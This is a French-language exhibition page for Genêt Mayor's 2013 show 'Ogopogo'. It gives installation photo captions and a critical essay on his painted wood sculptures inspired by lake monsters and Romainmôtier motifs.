DAM_genet_34193web Genêt Mayor, vue de l’exposition | © David Gagnebin-de Bons
DAM_genet_34152web Genêt Mayor, vue de l’exposition | © David Gagnebin-de Bons
DAM_genet_34169web Genêt Mayor, “Vaisseau-mère”, 2013, métal, bois, peinture acrylique, et “Bellcolor”, 2013, bois, peinture acrylique | © David Gagnebin-de Bons
DAM_genet_34208web Genêt Mayor, “Ogopogo”, 2013 | © David Gagnebin-de Bons
DAM_genet_34173web Genêt Mayor, “Double-Aïri”, “Sous-bois”, “SBS”, “Savonlinna”, “Kite-FM”, 2013 | © David Gagnebin-de Bons
DAM_genet_34202web Genêt Mayor, “OGOPOGO”, 2013, bois, peinture acrylique et “Blockbuster”, 2012, bois, peinture acrylique | © David Gagnebin-de Bons
DAM_genet_34179web Genêt Mayor, “Couple”, 2012, pierre, peinture acrylique, et “Maison-missile”, 2013, bois, peinture acrylique | © David Gagnebin-de-Bons
DAM_genet_34212web Genêt Mayor, “Maison-missile”, 2013, bois, peinture acrylique | © David Gagnebin-de Bons

1.6. - 1.9.2013

Genêt Mayor – Ogopogo

Manifestement, Genêt Mayor, jeune artiste lausannois, s’intéresse aux géants serpents de l’imaginaire. L’Ogopogo, cousin canadien et palindromique du Nessie écossais, appartient à l’ordre des créatures crypto-zoologiques monstrueuses, fascinantes, légendaires. Le drôle de mot qui le désigne, « Ogopogo », semble avancer à l’aide de ses anneaux typographiques, imitant la chose et peut-être même le cri de la chose, à l’aide d’une onomatopée imaginaire. Dans l’espace d’exposition, l’animal, appelé Regular, apparaît surgissant du sol comme de la surface d’un lac gris. Constitué d’un demi tronc d’arbre sinueux issu d’une coupe longitudinale de 3 mètres environ, la bête cambre son dos d’écorce moussue pour laisser entrevoir le dessous de son corps réglé de bleu, de gris et de noir. Ailleurs, sur une planche percée d’ocelles, appuyée au mur, portée par des sabots rouges et intitulée Ogopogo, l’animal éponyme apparaît encore, en turquoise sur fond d’eau turquoise, dans un camouflage contrarié par les contours du dessin. Tel un doigt fureteur, tel un tentacule, il cherche une prise, peut-être hors-cadre, à travers un trou, parmi les ombres projetées par l’éclairage qui le révèle.

 

On l’aura compris, les monstres de Genêt Mayor ne sont pas là, à proprement parler, pour terrifier enfants et adultes en les entraînant dans leur fiction. Ce n’est pas leur rôle, qui est en premier lieu d’ordre plastique. Les œuvres fonctionnent certes comme des appâts figuratifs et narratifs, mais leur substance, leur facture et leur polychromie affirmées, revendiquées, brisent délibérément l’illusion. Faits de morceaux de bois et d’objets rustiques trouvés, récupérés, bricolés, parés de motifs tantôt géométriques comme dans Blockbuster ou organiques comme dans les cinq « sculptures pour la main » fixées au mur, ce sont en fait, sans en avoir l’air, des objets problématiques, un peu comme le Giacometti surréaliste envisageait ses Objets désagréables, sans l’insistance freudienne toutefois. Hautes en couleurs, les pièces de Genêt Mayor sont des artefacts accrocheurs, à la manière de hameçons amorcés devant la pensée comme de tentantes interrogations : que veulent-ils dire ?, que veulent-ils faire ? à quoi ça sert ? Une étagère murale miniature, la Maison-missile, reprend le motif arlequiné d’un toit de Romainmôtier (ou d’une peau de serpent) et offre ses rayons à des plots inamovibles disposés au hasard et parés d’étranges dessins. Bellcolor s’inspire du décor médiéval peint sur les croisées d’ogives de l’abbatiale de Romainmôtier et suggère en même temps l’anatomie d’un mille-pattes. Et, c’est connu, les tables basses de salon, tel le Vaisseau Mère, sont des surfaces d’aventure tôt colonisées par l’imagination des enfants bricoleurs. En définitive, l’enjeu artistique chez Genêt Mayor, c’est de créer du jeu, de remettre en question de manière ironique les lignes de démarcation entre les écoles et traditions stylistiques qu’il convoque, qu’elles soient de haute ou de basse extraction : surréalisme, abstraction géométrique, arte povera, minimal art, land art, art brut, art populaire, artisanat. (AdA)

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Radio RTS Espace 2 (Florence Grivel), Genêt Mayor à propos de son exposition « Ogopogo », 27.6.2013